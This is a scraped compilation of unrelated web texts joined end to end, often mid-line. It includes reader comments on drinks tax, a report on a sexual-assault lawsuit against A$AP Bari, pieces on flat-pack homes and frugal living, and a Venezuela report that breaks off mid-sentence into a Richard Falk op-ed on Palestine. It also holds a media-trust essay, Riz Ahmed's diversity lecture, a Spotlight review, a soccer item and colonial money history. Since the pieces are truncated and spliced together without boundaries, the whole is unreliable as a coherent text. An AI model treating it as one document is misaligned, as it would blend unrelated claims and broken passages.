A Whyte, Lancaster England. As a gout sufferer I already seek out the lighter option. I think this makes sense and would help curb other alcohol related issues we face today.
Parker, London It could work for a genuinely good product. But of course some makers are bound to get on the bandwagon and produce utter swill. Well, some do already, and we are not children. Consumers have faced worse challenges so why not give it a try. The level of tax on drinks is scandalous.
John, Edinburgh
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StumbleUpon What are these? E-mail this to a friend Printable versionEarlier this year, a video went viral after A$AP Bari was shown pulling a blanket off a woman as she lay in bed naked. He was shown hitting her behind and yelling expletives at her as she repeatedly asked him to stop. As a result of the clip, Bari is being hit with a lawsuit now.
According to TMZ, the anonymous woman, who is going by "Jane Doe" in the lawsuit, is suing Bari for sexual assault, and wants more than $1 million.
The lawsuit says that the woman is suing the A$AP Mob member after he reportedly entered a London hotel room where she was sleeping and yelled, "You fucked my assistant, now you are going to fuck me."
The now-deleted video previously showed Bari ripping the cover off the woman to expose her naked body, telling him, "No" as another person in the room recorded the scene. Doe reportedly ran to the bathroom before Bari allegedly yelled, "I'm going to fuck you, you are going to suck my dick."
The woman claims that after she begged Bari to let her go, in fear that she would be raped, the Mob member threw her out of the hotel room into the hallway naked. She then recalls reporting the incident to the hotel's security, who called the cops. The lawsuit says that authorities reportedly told Bari to delete the video from his phone, but there's no confirmation as to why they asked him to delete it, or if that truly happened.
In the rest of the lawsuit, Jane Doe says that Bari allegedly attacked her because she rejected him in a nightclub the previous evening, and that his attorney pressured her to release a joint statement claiming that no assault occurred. She reportedly refused at the time, and is now seeking over $1 million in damages.I found a lot of the missing pictures from the albums! See below for the missing images from the English version (Common 31, 33, 46, 47 and Jumin 14, 16). All 6 of these missing images can be found, but MUST BE SWITCHED TO THE KOREAN LANGUAGE (which you can find in account settings).
Common 31: Zen Route Day 9 - 13:41 Don’t give up!
Common 33: Zen Route Day 9 - 19:52 Suspicious Echo girl
Common 46: Yoosung Route Day 9 - 01:10 Suspicious email
Common 47: 707 Route Day 7 - 02:30 Tripter Bot
Jumin 14: Deep Route Day 4 - 08:45 Gossip Article
Jumin 16: Jumin Route Day 7 - 18:00 Big news… T_T
You can replay any of these chats using the extra settings under chat history. I’ve also emailed Cheritz mentioning that the English version of these articles don’t show up. I’ll let you all know what I hear!Written by By Andrea Lo, CNN
Building a house is a lifelong dream for some. And thanks to new flat-pack homes, it's one that can be achieved -- in under ten minutes.
without the need for foundations or heavy machinery. Created by UK firm Ten Fold Engineering, the uBox measures to about 645 square feet (60 square meters) once unfolded. The portable building can assemble itself automatically,without the need for foundations or heavy machinery.
There are other variations. Each portable home uses a patented lever system that enables different parts of the structure to move simultaneously as the building unfolds. Like shipping containers, the houses can be stacked on top of one another for storage or transport.
The structures become sealed when packed away, and you can store things inside them.
1 / 17 – MUJI hut, Japan by MUJI Known for their minimalist clothes and homegoods, Japanese retailer Muji have brought their aesthetic to prefab housing with Mujihut. The structure costs $27,000.
Credit: Courtesy of Muji
The ready-to-use homes have been designed to offer flexibility to homeowners, said British architect David Martyn, who founded Ten Fold Engineering seven years ago.
"In our new world, we need agility because things change all the time," he said. "Nothing else can be moved at the speed that modern life demands.
"The question was: 'Can you actually get something that is big enough to be useful, to work in and to carry the things you need?'" Martyn said. "We tried to develop something that could be transported using traditional systems like trucks; that could unload without cranes or workmen; and that could be done in minutes, so you didn't lose any time."
Although initially designed as homes, the structures can be used as offices, shops, restaurants or exhibitions. This flexibility is crucial, said Martyn.
"You could have it up on a mountain in the winter and on the beach in the summer," he said. "I know that sounds like just a rich person's thing, but it isn't. A school could have a classroom (in one place) during term time (and) elsewhere during summer. There's more opportunity for more people, and less redundancy and waste."
So far, the idea has proven popular in the retail, housing, events, mining and energy sectors, according to Ten Fold's business development manager, Andrea De Boer.
"Depending on the individual's requirements, these can be either bespoke, made-to-order or mass-manufactured," she said.
1 / 9 – Rolling Huts by Olson Kundig Situated in a flood-prone valley, these six huts are designed as holiday retreats, and are raised on wheels to protect them from water. Each hut has a living room, bedroom, bathroom, wood-fired stove and wrap-around deck. Credit: Tim Bies/Olson Kundig
De Boer said that the uBox product is in its "very first stages" and would not reveal how many units the company had sold. Ten Fold Engineering units cost upwards of $129,000 (£100,000) each.
Despite the potential benefits of portable homes, Ten Fold does not consider itself to be in conflict with traditional architecture.
"Our technology should be seen as complementary and supportive to the traditional infrastructure industry," De Boer said. "These structures are transportable property assets."
"I'm not claiming that everybody should have these, because not everybody needs them," Martyn added. "It's a tool to help us all do more things better."By Leo Babauta
Confession time: I’m a cheapskate. Some would say frugal, which sounds much more positive, but in reality I can be a real cheapskate.
I am fairly frugal (though not always), but sometimes I take it too far: I have T-shirts with holes in them, I never buy new clothes, we’re shopping for a new couch because our current one has holes in it, and I ran my current pair of running shoes until the soles fell off.
However, I have gradually learned to be frugal in many ways that I would recommend to others. I don’t think you should have holes in your couch, and you should definitely replace your running shoes more often than I do, but there are many ways to cut back on spending and live a more frugal lifestyle.
Why live frugally? First, because it allows you to spend less than you earn, and use the difference to pay off debt, save or invest. Or all three. Second, because the less you spend, the less you need to earn. And that means you can choose to work less, or work more but retire early. Or take mini retirements. You have more options with a frugal lifestyle.
I know what I’m going to hear in the comments, because it’s been done repeatedly with my other frugal articles: I have no life. This is boring. I might as well live in a box. You have to enjoy life sometimes.
All of which you might believe, but I believe I do have a life. A great one. One where I spend time with my family, where I have conversations and read and get outside and do things that are fun and exercise and focus on what’s important and spend my free time the way I want. This is a good life. Read this article for more.
So, if you’d like some tips on frugal living, here are just a few, from a cheapskate. I should note that I do most, but not all, of these tips.Venezuela walks out of Americas summit as protester shot dead BelfastTelegraph.co.uk Venezuela's foreign minister has walked out of a meeting of regional diplomats to discuss the South American country's political crisis, as a 17-year-old anti-government protester was killed during clashes with security forces. https://www.belfasttelegraph.co.uk/news/world-news/venezuela-walks-out-of-americas-summit-as-protester-shot-dead-35845098.html https://www.belfasttelegraph.co.uk/news/world-news/article35845097.ece/b10b5/AUTOCROP/h342/PANews%20BT_P-57c7dbf1-9046-496c-90fb-b831552b0b09_I1.jpg
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Venezuela's foreign minister has walked out of a meeting of regional diplomats to discuss the South American country's political crisis, as a 17-year-old anti-government protester was killed during clashes with security forces.
The Organisation of American States meeting in the Mexican resort of Cancun again narrowly failed to approve a resolution that would have pushed back against some of Venezuelan President Nicolas Maduro's most radical actions.
The US, Mexico, Canada and several South American nations issued a statement expressing their "disappointment" at the vote, which fell three votes short of the two-thirds majority of the 34 member nations needed for approval.
"What can we say to the sick, who can't find medicines?" Mexican foreign minister Luis Videgaray said of the setback, referring to the medicine shortages Venezuelans are experiencing.
Countries pushing for elections in Venezuela came closer than ever, and Mr Videgaray left open the possibility the Venezuela issue may be brought up in Tuesday's broader meeting of the OAS general assembly, where a simple majority is needed.
Venezuelan foreign minister Delcy Rodriguez stalked out of the meeting, and claimed that more OAS members were considering following Venezuela's example and withdrawing from the regional group, which has been putting pressure on her socialist government to hold timely elections, free political prisoners and scrap a bid to rewrite its constitution.
"Not only do we not recognise this meeting, we do not recognise any resolution coming out of it," Ms Rodriguez said.
She would not say which countries are considering leaving the Washington-based OAS, although Venezuela has received support from other left-leaning governments like Nicaragua, Bolivia and Ecuador.
Some countries had expressed hope at Monday's meeting that they were close to some kind |
actions on the "right side of history".
'Sign or leave!'
In this connection, I was moved by reports of the young activists in Ramallah and other cities in the West Bank putting forth the demand that Mahmoud Abbas "sign or leave!" That is, sign the Rome Treaty on behalf of Palestine, and thereby join the International Criminal Court, or give up the presidency of the Palestinian Authority, because not fit to lead.
Such an impassioned call for criminal accountability expresses a populist demand that justice must finally be rendered by a court of law, and Palestinian victimisation authoritatively confirmed and vindicated by overwhelming evidence of Israel's multi-dimensional criminality. It is the faith of those who believe that the ICC is a tribunal of justice and not an instrument used as a moralising convenience by power-wielders shielding their own greater criminality.
In practice, even if Palestine is accepted as a party to the ICC, and should the prosecutor, as seems unlikely, proceed to investigate, indict, and issue arrest warrants, the prospects of adjudication, conviction, and punishment are near zero. And yet the demand "sign or leave!" makes political sense. Legal literalism misses the point.
For one thing, since Israel so intensely opposes Palestine's adherence to membership in the ICC, such an initiative should be presumed helpful for Palestinians. For another, mere recourse to the ICC would make a significant contribution to the struggle between Israel and Palestine for the high moral and political ground, generating commentary and dialogue.
We need to keep in mind that it is the outcome of this legitimacy struggle that will, in the end, likely decide this long conflict in favour of the Palestinians, as it has determined the outcome of every prior anti-colonial struggle of the last 70 years.
The BDS movement
And finally, such moves towards Palestinian control over the legitimacy discourse would help mobilise global support for the BDS (boycott, divestment and sanctions) campaign and an arms embargo on Israel. It will also push governments and the United Nations finally to support the Palestinian call for pressure on Israel, use leverage and non-violent coercion to obtain a sustainable peace that realises Palestinian rights under international law, especially, the right of self-determination and the right of return.
Palestinians have suffered for nearly a century as a result of what the international community decided on their behalf without seeking their approval, or even their consent. It is time that all of us, including those who act in solidarity, to be sure that it is the Palestinian national movement that decides what self-determination means for Palestinians.
At this stage, the most authentic expression of Palestinian views on a just peace is contained in the declaration of 2005 by a coalition of 171 Palestinian civil society organisations (NGOs and labour unions) that initiated the worldwide BDS campaign. BDS made three demands from the outset of its campaign:
"Ending its occupation and colonization of all Arab lands and dismantling the Wall; Recognizing the fundamental rights of the Arab-Palestinian citizens of Israel to full equality; and Respecting, protecting and promoting the rights of Palestinian refugees to return to their homes and properties as stipulated in UN Resolution 194."
It is an illuminating commentary on the confusing political situation that it is the BDS leadership that is presently best able to serve as a more authentic and legitimate voice of the Palestinian people than either the Palestinian Authority or Hamas.
Palestinians may suffer from what has been widely identified as a leadership deficit, but this is being offset by an innovative surge of democracy from below, and how this might yet produce the first global intifada that will be the next, and hopefully, emancipatory stage in the Palestinian struggle.
Richard Falk is Albert G Milbank Professor Emeritus of International Law at Princeton University and Research Fellow, Orfalea Center of Global Studies. He is also Former UN Special Rapporteur on Palestinian human rights.
Follow him on Twitter: @rfalk13This problem did not appear in 2015 when a real estate magnate descended an escalator. The descent began decades ago. The good news is, accountability still matters, even to those who trust media least.
There was a media ethics summit in Washington DC this week. A bunch of national political reporters and observers, and various “thought leaders” gathered within the high glass walls at NPR headquarters to grapple with media distrust, polarization, the unorthodoxies and attacks of the Trump administration, battling fake news, and slaying partisan bubbles.
I know, I know. The jokes write themselves. Bubbles, glass houses, a Beltway journalist stuttering in consternation when presented with the very idea of journalism ethics before exploding like Bradley Whitford in the culminating scene of “Billy Madison.” I’ve thought of all of them and made some of them there!
Too often media acts like it’s an industry in its heyday, congratulating itself for its toughness and truthiness, while ignoring its own role in its decline, which is ongoing and unhealthy. Yes, this gathering was a bubble of its own— I suggested maybe dinner at Waffle House after, to really break out of our comfort zones—and a lot of the same people talking to each other. But I was there, along with a handful of other right-of-center speakers notably none pro-Trump, and there were some valuable thoughts.
On priorities and real diversity:
.@perrybaconjr: Majority of country is white and I want to hear what they think on race. We need to cover diversity of country better-from Black Lives Matter to Trump supporters. Factchecking POTUS isn't our main job & 20min talking about "covfefe" is a waste #PoynterEthicsSummit https://t.co/VRWzDtiyex — Indira Lakshmanan (@Indira_L) December 4, 2017
On monumental missed stories:
.@PostBaron: We should have seen Trump — or someone like him — coming, “before he descended the escalator.” We won’t make that mistake again; reporters are covering every corner of the U.S. #poynterethicssummit — Doris N. Truong (@DorisTruong) December 4, 2017
On the dangers of self-absorption:
“The press should realize that the story isn’t about us… When Jared Kushner goes to CNN and says cut 25 percent of stats, that’s a big deal. When CNN announces that they’re not going to the White House Christmas Party, that’s chicken shit.” — @AlHuntDC #PoynterEthicsSummit — Scott Nover (@ScottNover) December 4, 2017
On the value of self-awareness:
"Trump tweets entirely too much. So do reporters" — @AlHuntDC. Yes, I tweeted this.#PoynterEthicsSummit — Scott Nover (@ScottNover) December 4, 2017
And on the real costs of mistakes:
“Even small mistakes are used to undercut the entire credibility of the press," says @peterbakernyt who admits he had a correction this morning. #PoynterEthicsSummit — Scott Nover (@ScottNover) December 4, 2017
Still, as always happens at such gatherings, I’m left with the concern many aren’t understanding the severity or origin of the problem.
This was the inaugural Poynter Journalism Ethics Conference. This is why it was put on: “Almost a year to the day since President-elect Donald Trump declared the media ‘fake news,’ Poynter is convening leading Washington correspondents and editors for a thought leadership summit on strengthening political journalism and public trust in a polarized era.”
The urgency, the need for the inaugural daylong conference, comes not from falling trust in media, which has been happening for a long time, but mostly from Trump’s attacks on media.
The name of the 2017 Poynter Media Trust Survey, a valuable poll and behavioral study on all these media trends, confirms the raison d’etre for this year’s gathering of grapplers— “You’re Fake News!” And the first paragraph of the executive summary: “During the Trump presidency, the United States has witnessed unprecedented attacks on the press from the highest office in the land. It is essential to understand how these attacks have affected attitudes toward the press.”
We’ve got our correlation and causation mixed up. Trust in media isn’t low because Trump attacks the media. Trump attacks the media because trust in media is low.
This Is a Pre-Trump Trend He’s Capitalizing On
This started long before Trump, as Poynter’s own annual media surveys and Gallup’s polling show clearly. The Poynter survey shows media has seen a slight uptick in trust in the Trump era, overall, but that comes from a rise among Democrats, who have consistently had a better outlook on press coverage than Republicans over decades in Gallup’s poll.
This is a generation’s worth of eroding trust, particularly among conservatives, populists, and those outside the coasts and big cities, finding a voice in Trump. Before that, it found a voice in talk radio and Fox News, whose successes (and own share of narrative-suiting mistakes) were borne of the traditional media’s underserving half of America.
That doesn’t excuse Trump’s nonsense, damaging tweets about pulling broadcast licenses and changing libel laws. Trump doesn’t care much about anyone’s speech if it disagrees with him, and that’s an extremely bad trait in a president making public pronouncements. It doesn’t mean media is without its share of hard-working reporters who put in time all over America, trying to understand those who mistrust them most.
But the survey’s more disturbing findings—44 percent believe the media makes up stories about Trump more than once in a while—haven’t emerged simply because Trump asserts these things. He asserts these things because he’s an opportunist with a target that gives him plenty of opportunities.
Let’s take the weekend before this summit, for instance. On Friday, Brian Ross and ABC reported that President Trump told Gen. Mike Flynn, who had just pleaded guilty to lying to the FBI, to contact Russians during the campaign. In fact, the timing was during the transition, which would be noncontroversial for an incoming administration, not collusion by a campaign involved in a conspiracy. Oops. Ross was held accountable after several hours of misfires.
At first the “correction” was merely called a “clarification,” but eventually Ross was suspended for four weeks. The ABC president took Ross off future Trump stories, and reportedly excoriated his staff, seeming to understand the damage the report had done.
Of Course It Didn’t Stop There
In the same 24-hour period, The New York Times reported a story based on transition emails, one of which from K.T. McFarland was excerpted thusly:
On Dec. 29, a transition adviser to Mr. Trump, K. T. McFarland, wrote in an email to a colleague that sanctions announced hours before by the Obama administration in retaliation for Russian election meddling were aimed at discrediting Mr. Trump’s victory. The sanctions could also make it much harder for Mr. Trump to ease tensions with Russia, ‘which has just thrown the U.S.A. election to him,’ she wrote in the emails obtained by The Times.
It is not clear whether Ms. McFarland was saying she believed that the election had in fact been thrown. A White House lawyer said on Friday that she meant only that the Democrats were portraying it that way.
When all of journalism Twitter seized on this rather inflammatory excerpt, the New York Times reporter tweeted the context of the email:
.@McFaul See attached. As we said in the story, it’s no clear that she is saying she believed that election had been thrown. And WH lawyer in story said she was referring to how Dems portrayed it. pic.twitter.com/cjXNpCKIJO — Michael S. Schmidt (@nytmike) December 2, 2017
In the full version, it’s rather clear McFarland is putting that thought into the minds and mouths of Obama officials, not declaring it herself. Here’s where some of the radical transparency summit attendees suggested would have been helpful in the story itself.
In both of these cases, it’s to the credit of the news organization that they addressed the mistakes or mischaracterizations. But in both cases, the mistakes seem suspiciously suited to the version of events that makes the Trump administration and transition look as bad as possible. Their impact was widespread and swift.
In the same two days, Republican Sen. Orrin Hatch faced a distortion of one of his quotes. Joe Scarborough, and all those in journalism who retweeted him, claimed Hatch, who co-authored the Children’s Health Insurance Program (CHIP), had said this about the children insured under it: “I have a hard time wanting to spending bilions and billions and trillions of dollars to hep people who won’t help themselves—won’t lift a finger— and expect the federal government to do everything.”
This has almost 10K RTs, many from reporters, and is completely false. Scarborough was hardly alone in lying about what Hatch said, but the lack of a link suggests that the dishonesty is intentional. All of these people owe Hatch an apology. https://t.co/8Rg6c08jMy — (((AG))) (@AG_Conservative) December 3, 2017
He was not saying that about CHIP. He was saying it about other programs that he was claiming take money away from CHIP, which is a point with which journalists are welcome to take issue, but is different than what they reported. To his credit, liberal journalist Ezra Klein disseminated a clarification with a video:
Watch this. Hatch, who helped write CHIP, is pretty clear he supports it. His comment about people who don't help themselves, which I think is ugly in other ways, isn't about CHIP, it's about other spending he says (again, wrongly in my view) is starving CHIP. https://t.co/bE6V4LYgiC — Ezra Klein (@ezraklein) December 3, 2017
Again, this mistake seems to run headlong right into the prevailing narrative that the Republican Party is full of a bunch of heartless creeps spinning their monocles on chains made of children’s tears. Scarborough later deleted the tweet.
These mistakes are not Trump’s fault. The fact they all run one direction, and are happily echoed by a profession full of people who too often share the same viewpoints and biases, is not Trump’s fault. It was decades of this that created the deficit in media trust, then Trump showed up to yell about it to a very receptive public.
Consider This Behavior Study About Media Consumption
Part of the behavioral study Poynter paired with the survey this year reflects just that. They ran an experiment with a group of media consumers, all of whom got one of four different types of news stories, to see how their perceptions of media would be affected by those stories.
Respondents in the first condition (media error) read about how CNN had retracted a story linking a Trump associate to the Trump-Russia investigation and that three people involved in the story had left the company as a result. Participants assigned to receive a media attack article were given an article where President Trump attacks coverage of the Russia investigation as ‘fake news.’ Respondents in a Russia investigation condition instead read an article stating that the Senate Intelligence Committee was investigating possible links between Russia and the Trump campaign and transition team. Finally, some respondents read a non-political control article entitled ‘Five sauces for the modern cook.’
Those conducting the experiment expected the “mistake” and “attack” articles to change respondents’ views more than the Russia investigation and cooking control article did. Instead, those who read the Russia investigation article had about the same negative change as those who read the “mistake” and “attack” articles and “a direct attack by the President on the media had limited effects on perceptions of the media or support for press freedom.”
“[T]he mere mention of the Russia investigation in a placebo article that includes no specifics about news coverage prompts the expression of more negative views toward the media,” the summary notes.
Poynter plans to do more research on this, but it certainly suggests feelings about mistakes and bias were baked in before Trump came along, and that mistakes like those above may be baked into reception of even the most neutral Russia article. This effect is more pronounced with Trump supporters and Republican voters, who the survey shows have more negative views of media than other respondents do—the more informed the respondent, the more negative the view. Part of this is tribalism, but a lot of it is track record.
That doesn’t mean Trump can’t exacerbate things. When broken down by Trump-approval, the experiment showed Trump supporters had more negative reactions to media after exposure to the Russia investigation story and an “attack” story.
Notably, they did not react negatively to the “mistake” story, which outlined both CNN’s mistake and its firing of those responsible. It’s very good news for all of us if corrective action and accountability really do matter, even to those who are most skeptical of media. Mistakes will always happen, but the way they’re corrected can help.
I’m glad we’re trying to solve this problem. As a person with a foot in both worlds— traditional media and a conservative community that is deeply suspicious of it, with reason— I’m glad to be part of the discussion. It’s important to the country for the gulf between many American voters and the people who cover them to get smaller. But this problem did not appear in 2015 when a real estate magnate descended an escalator. The descent began decades ago, and until the industry grapples with that, it will continue to descend.A lack of representation on U.K. screens could see those from minority groups "switch off and retreat to fringe narratives, to bubbles online and sometimes even off to Syria," the actor told British Parliament.
Riz Ahmed, who saw his international star soar in 2016 thanks to major roles in Rogue One: A Star Wars Story, Jason Bourne and HBO's The Night Of, has warned that a lack of diverse voices and stories on British TV screens could push those from minority backgrounds towards fringe groups and even extremism.
Delivering the annual diversity lecture from U.K. network Channel 4 in British Parliament, the actor – who has used his growing celebrity status to eloquently highlight issues concerning race and racial profiling – said that U.K. TV had so far "failed" to ensure groups felt represented.
“If we fail to represent, we are in danger of losing people to extremism,” he said, adding it would lead those from minority backgrounds to "switch off and retreat to fringe narratives, to bubbles online and sometimes even off to Syria."
Echoing the lecture given by Idris Elba last year, Ahmed said that actors from diverse backgrounds were forced to head across the Atlantic to find decent roles.
"We end up going to America to find work. I meet with producers and directors here, and they say ‘we don’t have anything for you, all our stories are set in Cornwall in the 1600s’."
Speaking to The Hollywood Reporter last year, the actor expressed his own desire to directly address the situation, saying he was planning a series about three generations of a British-Pakistani family, which he would direct himself.
"If we don’t step up and tell a representative story … we are going to start losing British teenagers to the story that the next chapter in their lives is written with ISIS in Syria," he told Parliament. "We are going to see the murder of more [members of parliament] like Jo Cox because we’ve been mis-sold a story that is so narrow about who we are and who we should be."
Ahmed's lecture came the same day the BBC revealed the results of a staff census into diversity, showing that 14.5 percent of its workforce was from black, Asian or minority ethnic backgrounds. The public broadcaster is aiming for this figure to reach 15 percent by 2020.In one of those strange moments of symmetry that have marked their respective histories, Osama Bin Laden and the neocons are both kicking off the week with a renewed dedication to their shared cause: a worldwide war between the Western powers and all of Islam. No surprise, really. It's in their mutual interest to make sure the rest of the world's Muslims stay invisible.
Bin Laden released a new video - man, this guy kicks out more product than Ryan Adams - just as a shaky cabal of radical rightists was launching something called "Islamo-Fascism Awareness Week." As Barbara Ehrenreich points out, this loosely affiliated group doesn't hesitate to draw anti-Semites into what it claims is a pro-Israel platform. They also bring out ardent anti-feminists to argue that their global war on Muslims would advance women's rights.
What they don't say is that the invasion of Iraq - the prime achievement of their movement - was an enormous blow to the rights of Muslim women in that country. And, while they claim they like some Muslims, they're usually hard-pressed to name any - except those who have left their faith of origin and replaced it with the dogma of neoconservatism.
The very name "Islamo-Fascism" incorrectly uses the word "fascism," which by definition includes extreme statism, nationalism, and corporatism. Those forces are all abhorred by Islamic radicals. It's a neocon head game designed to make dangerous terrorist fringe groups look like an existential threat to the West, like the Axis or Soviet Communism. They want you to think that Islamic extremists aren't just violent and horrible people, but that they can destroy our way of life.
That's the perfect justification for the authoritarian, citizen-spying, militarized, corporate world they seek to create. What's more, it's the perfect propaganda framework for that other big prize, an attack on Iran. That's why another mirror-dancer, Dick Cheney, is also busting a move this week by keeping the war rhetoric hot. And that's why President Bush used the words "World War III" in reference to Iran last week.
"Islamo-Fascism Awareness Week" is another part of the heating-up process, to convince the American people (or enough of them) that war with Iran is part of a fight for our very survival. That's why Democrats like Hillary Clinton who voted for the Kyl Amendment played into the neocons' hands. Do they really think that their vote would result in "diplomacy"?
Still, fair is fair. Since we mentioned Sen. Clinton, here's a reason to support her: If she's elected, at last our enlightened "Western" nation will finally have a woman for a leader - something an Islamic nation accomplished nearly twenty years ago. Yes, many women are terribly oppressed in some Islamic cultures, and we must fight that. But the election of Benezir Bhutto in 1988 proved that we're not fighting all Islam, just that segment of it that wants to drive women out of public life.
In the midst of all this, it was a perfect week for Osama to come out with his latest monologue. Yawn... another static shot of him declaiming his philosophy. He needs a new director to liven these videos up. It's "My Dinner With Andre" stuff, not exactly boffo at the box office.
And that's something else worth noting: In the Islamic world, Bin Laden isn't doing great box office. Even in war-torn Iraq, Al Qaeda fighters are a tiny minority of the insurgents. Administration blunders have greatly increased Bin Laden's visibility and prestige, but he's still not getting a lot of traction among the world's 1.2 billion Muslims.
Plenty of Muslims seem to feel the same way about Bin Laden as most of us do: namely, that he's an asshole. Dangerous, yes. (He's killed people I knew and liked.) But an asshole just the same.
While imams aren't likely to use that language, many of them around the world have made anti-terror statements. They don't get the media attention they should, and you certainly won't hear them from the crowd making noise this week. For example, you probably haven't seen this list of Muslim voices against extremism and terrorism, or this bumper sticker for Muslims who denounce terrorism. And does this phrase ring a bell?
"Genital mutilation must be considered as criminal aggression against mankind."
Probably not. But that's what 20 conservative Muslim clerics said in Egypt when asked to protest that practice.
The great irony of misguided propaganda jihads like "Islamic-Fascism Awareness Week" is that they make us less safe. They focus on the wrong threats in fighting terrorism. If we're to fight terrorism successfully we'll need allies, friends - even intelligence sources - among the very party we're alienating with this petty bigotry. And loaded terms like "Islamo-fascism" weaken the hand of reformers who want to bring much-needed change to the Islamic World.
And, it's funny. The neocons will "coddle terrorists" when it suits them. The Right doesn't seem to have a problem with the Bush Administration cozying up to the man who murdered so many Americans aboard the Lockerbie flight. In fact, there was hardly a whisper of objection when the Administration reopened its diplomatic mission in Libya in 2004. So it's true, as they often insist, that they don't oppose all Muslims. They've found a man they can work with in Moammar Qaddafi.
Bin Laden and the neocons are both publicity-hunting this week. Bin Laden's tape, if it's verified, is a desperate attempt to seize leadership of the civil war in Iraq and of Muslim unrest in the rest of the world. And "Islamo-Fascism Awareness Week" will try to make it look as if he already is the leader of the Islamic world.
George W. Bush. "Awareness Week." Dick Cheney. Osama Bin Laden. It's mirror-dance time. As Madonna used to say:
"Strike a pose."
A Night Light
The Sentinel Effect: Healthcare Blog
Future-While-U-Wait
RJ Eskow at the Huffington Post
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About author Richard (RJ) Eskow, a consultant and writer, is a Senior Fellow with the Campaign for America's Future. This post was produced as part of the
No Middle Class Health Tax
A Night Light
Richard (RJ) Eskow, a consultant and writer, is a Senior Fellow with the Campaign for America's Future. This post was produced as part of the Curbing Wall Street project. Richard blogs at:I n Ron Howard's 1994 film, The Paper, Michael Keaton played the editor of fictitious tabloid, whose reporters were trying to uncover the details of a police cover-up. Fast forward 21 years and Keaton is back in the newspaper game, starring opposite Mark Ruffalo, Rachel McAdams, Liev Schrieber and John Slattery in director Tom McCarthy's Spotlight. Only this time, the story is real, and the cover-up has to do not with law enforcement, but with a well-respected religious institution.
Based on actual events, Spotlight is the story of what happened in the months leading up to the Boston Globe's explosive 2002 exposé of rampant child molestation within the Catholic Church, and follows the four-member "Spotlight" investigative team — comprised of Walter "Robby" Robinson (Keaton), Mike Rezendes (Ruffalo), Sacha Pfeiffer (McAdams) and Matt Carroll (Brian d'Arcy James) — as they spend half a year interviewing victims and meticulously following the trail of evidence, all culminating in the publication of the January 2002 article that shocked the world.
Written by McCarthy and Josh Singer, Spotlight is two films in one. On one hand, it's a news drama in the truest sense, a piece of filmmaking cut from the same cloth as a classic like All the President's Men. But it's also a compelling examination of faith, providing a riveting look at how people respond when their faith is shaken — or even worse, rocked to its core. How the movie accomplishes being both of these things comes down to its terrific cast, who deliver mesmerizing performances whether they're nose-deep in their research or reflecting on the impact of the case on their own personal lives.
Without a doubt, it's an ensemble effort. But if there are any performances worth singling out, it's that of Keaton and Ruffalo. The former plays the leader of the Spotlight team, who comes to feel a measure of guilt about the fact that he could have brought the story to the public years sooner, but chose not to; while the latter portrays the lead reporter on the story, who invests himself wholly into bringing the truth to light, becoming deeply affected by the ordeals of the victims. Both actors bring considerable depth to their roles, and the narrative is shaped in part by their characters' journeys.
McAdams and James round out the Spotlight team, adding a feminine touch and the perspective of a family man to the mix. Meanwhile, Slattery and Schrieber play the Globe's managing editor and new editor-in-chief, the latter of whom was the one responsible for placing the story in Robinson's hands to begin with. Then there's Stanley Tucci and Billy Crudup, who both portray lawyers, one of whom deals almost exclusively with helping the victims of abuse, while the other has basically become the go-to man for striking up settlements between the Church and the victims.
Together, these eight actors make Spotlight — a film that centers on the extremely hard-to-watch topic of child abuse — extremely watchable. Which is not to say that the movie sugarcoats its subject matter in any way. On the contrary, watching some of the victims recount their incidents of sexual abuse at the hands of the most-trusted members of their communities is absolutely gut-wrenching. Still, it's a testament to the film and to the talents of the filmmakers that the movie works — because like the real-life events that inspired it, this is a story worth telling.
Spotlight releases November 13th, 2015 from eOne Films. The film has an MPAA rating of R for some language including sexual references. Its runtime is 2 Hrs. 8 Mins.The young forward weaved his way through defenders before a nifty finish
Indy Eleven forward Duke Lacroix continued to grow during his second year in the NASL and could play a big role when his team plays in The Championship Final on Nov. 13 against the New York Cosmos.
One particular moment during the 2016 Fall Season showcased the Young Player of the Year nominee’s ability and earned him the 2016 NASL Goal of the Year Award, as voted on by the fans.
“Indy has the best fans in the NASL – a lot of guys in a lot of numbers,” Lacroix said. “We make a lot of personal connections, too, with the fans and it’s a good group of guys. They come in week in and week out. They show their support, they’re loud and boisterous and a lot of smoke and chants. To have the support the entire year and to be at the end of an accolade like this means a lot, especially coming from the fans of the league and of our team, and the support is truly special.”
Using a combination of strength, quickness and finishing, while weaving through several defenders, Lacroix scored on a tremendous individual effort in the 3-2 win over the Tampa Bay Rowdies. The finish was Lacroix’s second goal of the year.
Lacroix’s tally was the opener in the win over Tampa Bay as he also picked up an assist, which helped derail the Rowdies’ postseason aspirations.
“Just to be nominated was kind of a surprise to me,” Lacroix added. “To be with the type of goals throughout the year was truly special.”Introduction Improvised Money - Money as Message - Buying Time - MiffPellings
Improvised Money
America's earliest forms of money were commodities, items that were not just tokens of wealth but had some intrinsic value. American Indians used strings of decorative shells, or "wampum," and furs as means of exchange. The cash-strapped colonists adopted this economic system. In addition to wampum and furs, they used crops and European-made items such as nails.
Small quantities of gold and silver Spanish American coins came to British America through trading in the Caribbean. The most common of these were silver eight-reales pieces, the "pieces of eight," that parrots squawk about in pirate stories. They were also known as Spanish dollars. The term dollar, of German origin, was applied to coins of any country that carried the intrinsic value of their weight in silver. Even before the Revolutionary War, some colonies issued paper money based on dollars rather than British pounds sterling.
Paper money first appeared in America in 1690, when the Massachusetts Bay Colony issued bills to pay soldiers engaged in campaigns against the French in Canada. This was an emergency measure, but it turned out to be a solution to the long-term problem of building an economy without large reserves of precious metals. Eventually, all of the other colonies issued their own bills.
This money never had a uniform value. A pound note from one colony might not be worth a pound in another colony. For that matter, it might not be worth a pound anywhere - ; some colonies printed far more paper money than they could ever redeem.
Further weakening the system was the circulation of counterfeit bills. Anyone with a printing press could make fair copies of most colonial money; government printers tried to stay a step ahead by creating designs of greater and greater detail for the borders of the bills. Another security measure was to "indent" the money - to cut a stub from the bill in an irregular, wavy line. The indented bill could be redeemed for coins at a government office if it fit the stub bearing the same number. The problem with this, of course, was that the bill had to remain in perfect condition to fit perfectly.
The most imaginative anticounterfeiting ideas came from the Philadelphia printer Benjamin Franklin, whose firm manufactured paper money for Pennsylvania, New Jersey, and Delaware. In 1739, he began printing bills on which he deliberately misspelled Pennsylvania. A counterfeiter, Franklin figured, would correct the spelling on the assumption that the bills were themselves fakes, produced by a less literate criminal.
The back of each of the bills featured an image of a leaf. Franklin worked with blocky lead printer's type, but the leaves, with their traceries of veins, had the fine detail of copper engravings. These "nature prints" succeeded in baffling counterfeiters, and everyone else as well. It wasn't until the 1960s that a historian discovered the secret: Franklin had made lead casts of actual leaves.
